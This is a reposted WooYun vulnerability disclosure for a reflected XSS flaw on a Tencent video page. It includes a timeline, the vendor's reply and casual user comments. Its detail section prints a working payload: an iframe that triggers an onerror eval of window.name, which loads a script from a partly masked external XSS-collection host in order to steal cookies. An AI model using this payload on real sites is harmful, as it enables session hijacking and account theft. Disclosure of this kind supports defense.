黑产在用的腾讯某站xss漏洞一枚（可窃取cookie）

2017年4月30日03:42:29评论266 views字数 210阅读0分42秒阅读模式

摘要

2016-03-08：细节已通知厂商并且等待厂商处理中
2016-03-08：厂商已经确认，细节仅向厂商公开
2016-03-18：细节向核心白帽子及相关领域专家公开
2016-03-28：细节向普通白帽子公开
2016-04-07：细节向实习白帽子公开
2016-04-22：细节向公众公开

漏洞概要关注数(27) 关注此漏洞

缺陷编号： WooYun-2016-182281

漏洞标题：黑产在用的腾讯某站xss漏洞一枚（可窃取cookie）

漏洞作者：撸撸侠

提交时间： 2016-03-08 16:27

公开时间： 2016-04-22 16:36

漏洞类型： XSS 跨站脚本攻击

危害等级：高

自评Rank： 20

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：无

0人收藏

漏洞详情

披露状态：

简要描述：

黑产在用的腾讯某站xss漏洞一枚（可窃取cookie）

/teams/%E5%BE%B7%E4%BA%91%E7%A4%BE

德云社团队招人要求平均rank 刷小厂商的勿扰

详细说明：

code 区域

<iframe src="http://v.qq.com/p/paike/volunteer_corps.html#'><img src=x.jpg onerror=eval(window.name)>" name="$.getScript('http://xssplatform.****.com/FsTrdm?1457425252')"></iframe>

漏洞证明：

修复方案：

版权声明：转载请注明来源撸撸侠@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2016-03-08 16:36

厂商回复：

非常感谢您的报告。该问题已经通过其它渠道发现并已着手处理。如您有进一步发现，请及时与我们联系。如果您有任何的疑问，欢迎反馈，我们会有专人跟进处理。

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2016-03-08 16:44 | 撸撸侠 ( 核心白帽子 | Rank:1403 漏洞数:153 | 我是撸撸侠)

1

@腾讯 1Rank 我不要了可以么？

1# 回复此人
2016-03-08 16:45 | 独臂刀王 ( 普通白帽子 | Rank:393 漏洞数:103 | 提交一个漏洞就可以买个柚子~~好爽~)

1

@撸撸侠你做梦呀！

2# 回复此人
2016-03-08 16:57 | j14n ( 普通白帽子 | Rank:2226 漏洞数:398 )

1

@撸撸侠我收岳云鹏啊。。

3# 回复此人
2016-03-08 17:43 | sysALong ( 普通白帽子 | Rank:464 漏洞数:100 | 在我们黑龙江这噶哒，就没有什么事是【撸串...)

1

招人？？啥意思？？？

4# 回复此人
2016-03-08 18:37 | von ( 路人 | Rank:18 漏洞数:8 | 一个帅字贯穿了我的一生~)

1

23333333333郭德纲的德云社= =

5# 回复此人
2016-03-08 21:12 | 梦皑皑 ( 路人 | Rank:1 漏洞数:1 | 本人小白，缺团队培养。)

1

我能进吗？求教...

6# 回复此人

漏洞概要 关注数(27) 关注此漏洞

缺陷编号： WooYun-2016-182281

漏洞标题： 黑产在用的腾讯某站xss漏洞一枚（可窃取cookie）

相关厂商： 腾讯

漏洞作者： 撸撸侠